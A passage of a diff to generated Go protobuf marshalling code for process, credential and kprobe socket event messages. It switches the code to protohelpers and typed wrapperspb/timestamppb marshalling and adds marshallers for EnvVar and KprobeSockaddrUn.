if err != nil { + return 0, err } + i -= size + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) i-- dAtA[i] = 0x3a } if m.Sgid != nil { - if vtmsg, ok := interface{}(m.Sgid).(interface { - MarshalToSizedBufferVT([]byte) (int, error) - }); ok { - size, err := vtmsg.MarshalToSizedBufferVT(dAtA[:i]) - if err != nil { - return 0, err - } - i -= size - i = encodeVarint(dAtA, i, uint64(size)) - } else { - encoded, err := proto.Marshal(m.Sgid) - if err != nil { - return 0, err - } - i -= len(encoded) - copy(dAtA[i:], encoded) - i = encodeVarint(dAtA, i, uint64(len(encoded))) + size, err := (*wrapperspb.UInt32Value)(m.Sgid).MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err } + i -= size + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) i-- dAtA[i] = 0x32 } if m.Suid != nil { - if vtmsg, ok := interface{}(m.Suid).(interface { - MarshalToSizedBufferVT([]byte) (int, error) - }); ok { - size, err := vtmsg.MarshalToSizedBufferVT(dAtA[:i]) - if err != nil { - return 0, err - } - i -= size - i = encodeVarint(dAtA, i, uint64(size)) - } else { - encoded, err := proto.Marshal(m.Suid) - if err != nil { - return 0, err - } - i -= len(encoded) - copy(dAtA[i:], encoded) - i = encodeVarint(dAtA, i, uint64(len(encoded))) + size, err := (*wrapperspb.UInt32Value)(m.Suid).MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err } + i -= size + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) i-- dAtA[i] = 0x2a } if m.Egid != nil { - if vtmsg, ok := interface{}(m.Egid).(interface { - MarshalToSizedBufferVT([]byte) (int, error) - }); ok { - size, err := vtmsg.MarshalToSizedBufferVT(dAtA[:i]) - if err != nil { - return 0, err - } - i -= size - i = encodeVarint(dAtA, i, uint64(size)) - } else { - encoded, err := proto.Marshal(m.Egid) - if err != nil { - return 0, err - } - i -= len(encoded) - copy(dAtA[i:], encoded) - i = encodeVarint(dAtA, i, uint64(len(encoded))) + size, err := (*wrapperspb.UInt32Value)(m.Egid).MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err } + i -= size + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) i-- dAtA[i] = 0x22 } if m.Euid != nil { - if vtmsg, ok := interface{}(m.Euid).(interface { - MarshalToSizedBufferVT([]byte) (int, error) - }); ok { - size, err := vtmsg.MarshalToSizedBufferVT(dAtA[:i]) - if err != nil { - return 0, err - } - i -= size - i = encodeVarint(dAtA, i, uint64(size)) - } else { - encoded, err := proto.Marshal(m.Euid) - if err != nil { - return 0, err - } - i -= len(encoded) - copy(dAtA[i:], encoded) - i = encodeVarint(dAtA, i, uint64(len(encoded))) + size, err := (*wrapperspb.UInt32Value)(m.Euid).MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err } + i -= size + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) i-- dAtA[i] = 0x1a } if m.Gid != nil { - if vtmsg, ok := interface{}(m.Gid).(interface { - MarshalToSizedBufferVT([]byte) (int, error) - }); ok { - size, err := vtmsg.MarshalToSizedBufferVT(dAtA[:i]) - if err != nil { - return 0, err - } - i -= size - i = encodeVarint(dAtA, i, uint64(size)) - } else { - encoded, err := proto.Marshal(m.Gid) - if err != nil { - return 0, err - } - i -= len(encoded) - copy(dAtA[i:], encoded) - i = encodeVarint(dAtA, i, uint64(len(encoded))) + size, err := (*wrapperspb.UInt32Value)(m.Gid).MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err } + i -= size + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) i-- dAtA[i] = 0x12 } if m.Uid != nil { - if vtmsg, ok := interface{}(m.Uid).(interface { - MarshalToSizedBufferVT([]byte) (int, error) - }); ok { - size, err := vtmsg.MarshalToSizedBufferVT(dAtA[:i]) - if err != nil { - return 0, err - } - i -= size - i = encodeVarint(dAtA, i, uint64(size)) - } else { - encoded, err := proto.Marshal(m.Uid) - if err != nil { - return 0, err - } - i -= len(encoded) - copy(dAtA[i:], encoded) - i = encodeVarint(dAtA, i, uint64(len(encoded))) + size, err := (*wrapperspb.UInt32Value)(m.Uid).MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err } + i -= size + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) i-- dAtA[i] = 0xa } @@ -1013,29 +863,17 @@ func (m *InodeProperties) MarshalToSizedBufferVT(dAtA []byte) (int, error) { copy(dAtA[i:], m.unknownFields) } if m.Links != nil { - if vtmsg, ok := interface{}(m.Links).(interface { - MarshalToSizedBufferVT([]byte) (int, error) - }); ok { - size, err := vtmsg.MarshalToSizedBufferVT(dAtA[:i]) - if err != nil { - return 0, err - } - i -= size - i = encodeVarint(dAtA, i, uint64(size)) - } else { - encoded, err := proto.Marshal(m.Links) - if err != nil { - return 0, err - } - i -= len(encoded) - copy(dAtA[i:], encoded) - i = encodeVarint(dAtA, i, uint64(len(encoded))) + size, err := (*wrapperspb.UInt32Value)(m.Links).MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err } + i -= size + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) i-- dAtA[i] = 0x12 } if m.Number != 0 { - i = encodeVarint(dAtA, i, uint64(m.Number)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(m.Number)) i-- dAtA[i] = 0x8 } @@ -1075,7 +913,7 @@ func (m *FileProperties) MarshalToSizedBufferVT(dAtA []byte) (int, error) { if len(m.Path) > 0 { i -= len(m.Path) copy(dAtA[i:], m.Path) - i = encodeVarint(dAtA, i, uint64(len(m.Path))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Path))) i-- dAtA[i] = 0x12 } @@ -1085,7 +923,7 @@ func (m *FileProperties) MarshalToSizedBufferVT(dAtA []byte) (int, error) { return 0, err } i -= size - i = encodeVarint(dAtA, i, uint64(size)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) i-- dAtA[i] = 0xa } @@ -1128,14 +966,14 @@ func (m *BinaryProperties) MarshalToSizedBufferVT(dAtA []byte) (int, error) { return 0, err } i -= size - i = encodeVarint(dAtA, i, uint64(size)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) i-- dAtA[i] = 0x22 } if len(m.PrivilegesChanged) > 0 { var pksize2 int for _, num := range m.PrivilegesChanged { - pksize2 += sov(uint64(num)) + pksize2 += protohelpers.SizeOfVarint(uint64(num)) } i -= pksize2 j1 := i @@ -1149,51 +987,27 @@ func (m *BinaryProperties) MarshalToSizedBufferVT(dAtA []byte) (int, error) { dAtA[j1] = uint8(num) j1++ } - i = encodeVarint(dAtA, i, uint64(pksize2)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(pksize2)) i-- dAtA[i] = 0x1a } if m.Setgid != nil { - if vtmsg, ok := interface{}(m.Setgid).(interface { - MarshalToSizedBufferVT([]byte) (int, error) - }); ok { - size, err := vtmsg.MarshalToSizedBufferVT(dAtA[:i]) - if err != nil { - return 0, err - } - i -= size - i = encodeVarint(dAtA, i, uint64(size)) - } else { - encoded, err := proto.Marshal(m.Setgid) - if err != nil { - return 0, err - } - i -= len(encoded) - copy(dAtA[i:], encoded) - i = encodeVarint(dAtA, i, uint64(len(encoded))) + size, err := (*wrapperspb.UInt32Value)(m.Setgid).MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err } + i -= size + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) i-- dAtA[i] = 0x12 } if m.Setuid != nil { - if vtmsg, ok := interface{}(m.Setuid).(interface { - MarshalToSizedBufferVT([]byte) (int, error) - }); ok { - size, err := vtmsg.MarshalToSizedBufferVT(dAtA[:i]) - if err != nil { - return 0, err - } - i -= size - i = encodeVarint(dAtA, i, uint64(size)) - } else { - encoded, err := proto.Marshal(m.Setuid) - if err != nil { - return 0, err - } - i -= len(encoded) - copy(dAtA[i:], encoded) - i = encodeVarint(dAtA, i, uint64(len(encoded))) + size, err := (*wrapperspb.UInt32Value)(m.Setuid).MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err } + i -= size + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) i-- dAtA[i] = 0xa } @@ -1233,7 +1047,54 @@ func (m *UserRecord) MarshalToSizedBufferVT(dAtA []byte) (int, error) { if len(m.Name) > 0 { i -= len(m.Name) copy(dAtA[i:], m.Name) - i = encodeVarint(dAtA, i, uint64(len(m.Name))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Name))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *EnvVar) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *EnvVar) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *EnvVar) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Value) > 0 { + i -= len(m.Value) + copy(dAtA[i:], m.Value) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Value))) + i-- + dAtA[i] = 0x12 + } + if len(m.Key) > 0 { + i -= len(m.Key) + copy(dAtA[i:], m.Key) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Key))) i-- dAtA[i] = 0xa } @@ -1270,25 +1131,27 @@ func (m *Process) MarshalToSizedBufferVT(dAtA []byte) (int, error) { i -= len(m.unknownFields) copy(dAtA[i:], m.unknownFields) } - if m.InInitTree != nil { - if vtmsg, ok := interface{}(m.InInitTree).(interface { - MarshalToSizedBufferVT([]byte) (int, error) - }); ok { - size, err := vtmsg.MarshalToSizedBufferVT(dAtA[:i]) + if len(m.EnvironmentVariables) > 0 { + for iNdEx := len(m.EnvironmentVariables) - 1; iNdEx >= 0; iNdEx-- { + size, err := m.EnvironmentVariables[iNdEx].MarshalToSizedBufferVT(dAtA[:i]) if err != nil { return 0, err } i -= size - i = encodeVarint(dAtA, i, uint64(size)) - } else { - encoded, err := proto.Marshal(m.InInitTree) - if err != nil { - return 0, err - } - i -= len(encoded) - copy(dAtA[i:], encoded) - i = encodeVarint(dAtA, i, uint64(len(encoded))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x1 + i-- + dAtA[i] = 0xaa + } + } + if m.InInitTree != nil { + size, err := (*wrapperspb.BoolValue)(m.InInitTree).MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err } + i -= size + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) i-- dAtA[i] = 0x1 i-- @@ -1300,7 +1163,7 @@ func (m *Process) MarshalToSizedBufferVT(dAtA []byte) (int, error) { return 0, err } i -= size - i = encodeVarint(dAtA, i, uint64(size)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) i-- dAtA[i] = 0x1 i-- @@ -1312,7 +1175,7 @@ func (m *Process) MarshalToSizedBufferVT(dAtA []byte) (int, error) { return 0, err } i -= size - i = encodeVarint(dAtA, i, uint64(size)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) i-- dAtA[i] = 0x1 i-- @@ -1324,31 +1187,19 @@ func (m *Process) MarshalToSizedBufferVT(dAtA []byte) (int, error) { return 0, err } i -= size - i = encodeVarint(dAtA, i, uint64(size)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) i-- dAtA[i] = 0x1 i-- dAtA[i] = 0x8a } if m.Tid != nil { - if vtmsg, ok := interface{}(m.Tid).(interface { - MarshalToSizedBufferVT([]byte) (int, error) - }); ok { - size, err := vtmsg.MarshalToSizedBufferVT(dAtA[:i]) - if err != nil { - return 0, err - } - i -= size - i = encodeVarint(dAtA, i, uint64(size)) - } else { - encoded, err := proto.Marshal(m.Tid) - if err != nil { - return 0, err - } - i -= len(encoded) - copy(dAtA[i:], encoded) - i = encodeVarint(dAtA, i, uint64(len(encoded))) + size, err := (*wrapperspb.UInt32Value)(m.Tid).MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err } + i -= size + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) i-- dAtA[i] = 0x1 i-- @@ -1360,7 +1211,7 @@ func (m *Process) MarshalToSizedBufferVT(dAtA []byte) (int, error) { return 0, err } i -= size - i = encodeVarint(dAtA, i, uint64(size)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) i-- dAtA[i] = 0x7a } @@ -1370,26 +1221,26 @@ func (m *Process) MarshalToSizedBufferVT(dAtA []byte) (int, error) { return 0, err } i -= size - i = encodeVarint(dAtA, i, uint64(size)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) i-- dAtA[i] = 0x72 } if m.Refcnt != 0 { - i = encodeVarint(dAtA, i, uint64(m.Refcnt)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(m.Refcnt)) i-- dAtA[i] = 0x68 } if len(m.ParentExecId) > 0 { i -= len(m.ParentExecId) copy(dAtA[i:], m.ParentExecId) - i = encodeVarint(dAtA, i, uint64(len(m.ParentExecId))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.ParentExecId))) i-- dAtA[i] = 0x62 } if len(m.Docker) > 0 { i -= len(m.Docker) copy(dAtA[i:], m.Docker) - i = encodeVarint(dAtA, i, uint64(len(m.Docker))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Docker))) i-- dAtA[i] = 0x5a } @@ -1399,130 +1250,82 @@ func (m *Process) MarshalToSizedBufferVT(dAtA []byte) (int, error) { return 0, err } i -= size - i = encodeVarint(dAtA, i, uint64(size)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) i-- dAtA[i] = 0x52 } if m.Auid != nil { - if vtmsg, ok := interface{}(m.Auid).(interface { - MarshalToSizedBufferVT([]byte) (int, error) - }); ok { - size, err := vtmsg.MarshalToSizedBufferVT(dAtA[:i]) - if err != nil { - return 0, err - } - i -= size - i = encodeVarint(dAtA, i, uint64(size)) - } else { - encoded, err := proto.Marshal(m.Auid) - if err != nil { - return 0, err - } - i -= len(encoded) - copy(dAtA[i:], encoded) - i = encodeVarint(dAtA, i, uint64(len(encoded))) + size, err := (*wrapperspb.UInt32Value)(m.Auid).MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err } + i -= size + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) i-- dAtA[i] = 0x4a } if m.StartTime != nil { - if vtmsg, ok := interface{}(m.StartTime).(interface { - MarshalToSizedBufferVT([]byte) (int, error) - }); ok { - size, err := vtmsg.MarshalToSizedBufferVT(dAtA[:i]) - if err != nil { - return 0, err - } - i -= size - i = encodeVarint(dAtA, i, uint64(size)) - } else { - encoded, err := proto.Marshal(m.StartTime) - if err != nil { - return 0, err - } - i -= len(encoded) - copy(dAtA[i:], encoded) - i = encodeVarint(dAtA, i, uint64(len(encoded))) + size, err := (*timestamppb.Timestamp)(m.StartTime).MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err } + i -= size + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) i-- dAtA[i] = 0x42 } if len(m.Flags) > 0 { i -= len(m.Flags) copy(dAtA[i:], m.Flags) - i = encodeVarint(dAtA, i, uint64(len(m.Flags))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Flags))) i-- dAtA[i] = 0x3a } if len(m.Arguments) > 0 { i -= len(m.Arguments) copy(dAtA[i:], m.Arguments) - i = encodeVarint(dAtA, i, uint64(len(m.Arguments))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Arguments))) i-- dAtA[i] = 0x32 } if len(m.Binary) > 0 { i -= len(m.Binary) copy(dAtA[i:], m.Binary) - i = encodeVarint(dAtA, i, uint64(len(m.Binary))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Binary))) i-- dAtA[i] = 0x2a } if len(m.Cwd) > 0 { i -= len(m.Cwd) copy(dAtA[i:], m.Cwd) - i = encodeVarint(dAtA, i, uint64(len(m.Cwd))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Cwd))) i-- dAtA[i] = 0x22 } if m.Uid != nil { - if vtmsg, ok := interface{}(m.Uid).(interface { - MarshalToSizedBufferVT([]byte) (int, error) - }); ok { - size, err := vtmsg.MarshalToSizedBufferVT(dAtA[:i]) - if err != nil { - return 0, err - } - i -= size - i = encodeVarint(dAtA, i, uint64(size)) - } else { - encoded, err := proto.Marshal(m.Uid) - if err != nil { - return 0, err - } - i -= len(encoded) - copy(dAtA[i:], encoded) - i = encodeVarint(dAtA, i, uint64(len(encoded))) + size, err := (*wrapperspb.UInt32Value)(m.Uid).MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err } + i -= size + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) i-- dAtA[i] = 0x1a } if m.Pid != nil { - if vtmsg, ok := interface{}(m.Pid).(interface { - MarshalToSizedBufferVT([]byte) (int, error) - }); ok { - size, err := vtmsg.MarshalToSizedBufferVT(dAtA[:i]) - if err != nil { - return 0, err - } - i -= size - i = encodeVarint(dAtA, i, uint64(size)) - } else { - encoded, err := proto.Marshal(m.Pid) - if err != nil { - return 0, err - } - i -= len(encoded) - copy(dAtA[i:], encoded) - i = encodeVarint(dAtA, i, uint64(len(encoded))) + size, err := (*wrapperspb.UInt32Value)(m.Pid).MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err } + i -= size + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) i-- dAtA[i] = 0x12 } if len(m.ExecId) > 0 { i -= len(m.ExecId) copy(dAtA[i:], m.ExecId) - i = encodeVarint(dAtA, i, uint64(len(m.ExecId))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.ExecId))) i-- dAtA[i] = 0xa } @@ -1566,7 +1369,7 @@ func (m *ProcessExec) MarshalToSizedBufferVT(dAtA []byte) (int, error) { return 0, err } i -= size - i = encodeVarint(dAtA, i, uint64(size)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) i-- dAtA[i] = 0x1a } @@ -1577,7 +1380,7 @@ func (m *ProcessExec) MarshalToSizedBufferVT(dAtA []byte) (int, error) { return 0, err } i -= size - i = encodeVarint(dAtA, i, uint64(size)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) i-- dAtA[i] = 0x12 } @@ -1587,7 +1390,7 @@ func (m *ProcessExec) MarshalToSizedBufferVT(dAtA []byte) (int, error) { return 0, err } i -= size - i = encodeVarint(dAtA, i, uint64(size)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) i-- dAtA[i] = 0xa } @@ -1631,42 +1434,30 @@ func (m *ProcessExit) MarshalToSizedBufferVT(dAtA []byte) (int, error) { return 0, err } i -= size - i = encodeVarint(dAtA, i, uint64(size)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) i-- dAtA[i] = 0x32 } } if m.Time != nil { - if vtmsg, ok := interface{}(m.Time).(interface { - MarshalToSizedBufferVT([]byte) (int, error) - }); ok { - size, err := vtmsg.MarshalToSizedBufferVT(dAtA[:i]) - if err != nil { - return 0, err - } - i -= size - i = encodeVarint(dAtA, i, uint64(size)) - } else { - encoded, err := proto.Marshal(m.Time) - if err != nil { - return 0, err - } - i -= len(encoded) - copy(dAtA[i:], encoded) - i = encodeVarint(dAtA, i, uint64(len(encoded))) + size, err := (*timestamppb.Timestamp)(m.Time).MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err } + i -= size + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) i-- dAtA[i] = 0x2a } if m.Status != 0 { - i = encodeVarint(dAtA, i, uint64(m.Status)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(m.Status)) i-- dAtA[i] = 0x20 } if len(m.Signal) > 0 { i -= len(m.Signal) copy(dAtA[i:], m.Signal) - i = encodeVarint(dAtA, i, uint64(len(m.Signal))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Signal))) i-- dAtA[i] = 0x1a } @@ -1676,7 +1467,7 @@ func (m *ProcessExit) MarshalToSizedBufferVT(dAtA []byte) (int, error) { return 0, err } i -= size - i = encodeVarint(dAtA, i, uint64(size)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) i-- dAtA[i] = 0x12 } @@ -1686,7 +1477,7 @@ func (m *ProcessExit) MarshalToSizedBufferVT(dAtA []byte) (int, error) { return 0, err } i -= size - i = encodeVarint(dAtA, i, uint64(size)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) i-- dAtA[i] = 0xa } @@ -1726,67 +1517,67 @@ func (m *KprobeSock) MarshalToSizedBufferVT(dAtA []byte) (int, error) { if len(m.State) > 0 { i -= len(m.State) copy(dAtA[i:], m.State) - i = encodeVarint(dAtA, i, uint64(len(m.State))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.State))) i-- dAtA[i] = 0x5a } if m.Cookie != 0 { - i = encodeVarint(dAtA, i, uint64(m.Cookie)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(m.Cookie)) i-- dAtA[i] = 0x50 } if m.Dport != 0 { - i = encodeVarint(dAtA, i, uint64(m.Dport)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(m.Dport)) i-- dAtA[i] = 0x48 } if m.Sport != 0 { - i = encodeVarint(dAtA, i, uint64(m.Sport)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(m.Sport)) i-- dAtA[i] = 0x40 } if len(m.Daddr) > 0 { i -= len(m.Daddr) copy(dAtA[i:], m.Daddr) - i = encodeVarint(dAtA, i, uint64(len(m.Daddr))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Daddr))) i-- dAtA[i] = 0x3a } if len(m.Saddr) > 0 { i -= len(m.Saddr) copy(dAtA[i:], m.Saddr) - i = encodeVarint(dAtA, i, uint64(len(m.Saddr))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Saddr))) i-- dAtA[i] = 0x32 } if m.Priority != 0 { - i = encodeVarint(dAtA, i, uint64(m.Priority)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(m.Priority)) i-- dAtA[i] = 0x28 } if m.Mark != 0 { - i = encodeVarint(dAtA, i, uint64(m.Mark)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(m.Mark)) i-- dAtA[i] = 0x20 } if len(m.Protocol) > 0 { i -= len(m.Protocol) copy(dAtA[i:], m.Protocol) - i = encodeVarint(dAtA, i, uint64(len(m.Protocol))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Protocol))) i-- dAtA[i] = 0x1a } if len(m.Type) > 0 { i -= len(m.Type) copy(dAtA[i:], m.Type) - i = encodeVarint(dAtA, i, uint64(len(m.Type))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Type))) i-- dAtA[i] = 0x12 } if len(m.Family) > 0 { i -= len(m.Family) copy(dAtA[i:], m.Family) - i = encodeVarint(dAtA, i, uint64(len(m.Family))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Family))) i-- dAtA[i] = 0xa } @@ -1826,73 +1617,73 @@ func (m *KprobeSkb) MarshalToSizedBufferVT(dAtA []byte) (int, error) { if len(m.Family) > 0 { i -= len(m.Family) copy(dAtA[i:], m.Family) - i = encodeVarint(dAtA, i, uint64(len(m.Family))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Family))) i-- dAtA[i] = 0x6a } if len(m.Protocol) > 0 { i -= len(m.Protocol) copy(dAtA[i:], m.Protocol) - i = encodeVarint(dAtA, i, uint64(len(m.Protocol))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Protocol))) i-- dAtA[i] = 0x62 } if m.SecPathOlen != 0 { - i = encodeVarint(dAtA, i, uint64(m.SecPathOlen)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(m.SecPathOlen)) i-- dAtA[i] = 0x58 } if m.SecPathLen != 0 { - i = encodeVarint(dAtA, i, uint64(m.SecPathLen)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(m.SecPathLen)) i-- dAtA[i] = 0x50 } if m.Proto != 0 { - i = encodeVarint(dAtA, i, uint64(m.Proto)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(m.Proto)) i-- dAtA[i] = 0x48 } if m.Dport != 0 { - i = encodeVarint(dAtA, i, uint64(m.Dport)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(m.Dport)) i-- dAtA[i] = 0x40 } if m.Sport != 0 { - i = encodeVarint(dAtA, i, uint64(m.Sport)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(m.Sport)) i-- dAtA[i] = 0x38 } if len(m.Daddr) > 0 { i -= len(m.Daddr) copy(dAtA[i:], m.Daddr) - i = encodeVarint(dAtA, i, uint64(len(m.Daddr))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Daddr))) i-- dAtA[i] = 0x32 } if len(m.Saddr) > 0 { i -= len(m.Saddr) copy(dAtA[i:], m.Saddr) - i = encodeVarint(dAtA, i, uint64(len(m.Saddr))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Saddr))) i-- dAtA[i] = 0x2a } if m.Mark != 0 { - i = encodeVarint(dAtA, i, uint64(m.Mark)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(m.Mark)) i-- dAtA[i] = 0x20 } if m.Priority != 0 { - i = encodeVarint(dAtA, i, uint64(m.Priority)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(m.Priority)) i-- dAtA[i] = 0x18 } if m.Len != 0 { - i = encodeVarint(dAtA, i, uint64(m.Len)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(m.Len)) i-- dAtA[i] = 0x10 } if m.Hash != 0 { - i = encodeVarint(dAtA, i, uint64(m.Hash)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(m.Hash)) i-- dAtA[i] = 0x8 } @@ -1930,21 +1721,68 @@ func (m *KprobeSockaddr) MarshalToSizedBufferVT(dAtA []byte) (int, error) { copy(dAtA[i:], m.unknownFields) } if m.Port != 0 { - i = encodeVarint(dAtA, i, uint64(m.Port)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(m.Port)) i-- dAtA[i] = 0x18 } if len(m.Addr) > 0 { i -= len(m.Addr) copy(dAtA[i:], m.Addr) - i = encodeVarint(dAtA, i, uint64(len(m.Addr))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Addr))) + i-- + dAtA[i] = 0x12 + } + if len(m.Family) > 0 { + i -= len(m.Family) + copy(dAtA[i:], m.Family) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Family))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *KprobeSockaddrUn) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *KprobeSockaddrUn) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *KprobeSockaddrUn) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Path) > 0 { + i -= len(m.Path) + copy(dAtA[i:], m.Path) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Path))) i-- dAtA[i] = 0x12 } if len(m.Family) > 0 { i -= len(m.Family) copy(dAtA[i:], m.Family) - i = encodeVarint(dAtA, i, uint64(len(m.Family))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Family))) i-- dAtA[i] = 0xa } @@ -1984,7 +1822,7 @@ func (m *KprobeNetDev) MarshalToSizedBufferVT(dAtA []byte) (int, error) { if len(m.Name) > 0 { i -= len(m.Name) copy(dAtA[i:], m.Name) - i = encodeVarint(dAtA, i, uint64(len(m.Name))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Name))) i-- dAtA[i] = 0xa } @@ -2024,28 +1862,28 @@ func (m *KprobePath) MarshalToSizedBufferVT(dAtA []byte) (int, error) { if len(m.Permission) > 0 { i -= len(m.Permission) copy(dAtA[i:], m.Permission) - i = encodeVarint(dAtA, i, uint64(len(m.Permission))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Permission))) i-- dAtA[i] = 0x22 } if len(m.Flags) > 0 { i -= len(m.Flags) copy(dAtA[i:], m.Flags) - i = encodeVarint(dAtA, i, uint64(len(m.Flags))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Flags))) i-- dAtA[i] = 0x1a } if len(m.Path) > 0 { i -= len(m.Path) copy(dAtA[i:], m.Path) - i = encodeVarint(dAtA, i, uint64(len(m.Path))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Path))) i-- dAtA[i] = 0x12 } if len(m.Mount) > 0 { i -= len(m.Mount) copy(dAtA[i:], m.Mount) - i = encodeVarint(dAtA, i, uint64(len(m.Mount))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Mount))) i-- dAtA[i] = 0xa } @@ -2085,28 +1923,28 @@ func (m *KprobeFile) MarshalToSizedBufferVT(dAtA []byte) (int, error) { if len(m.Permission) > 0 { i -= 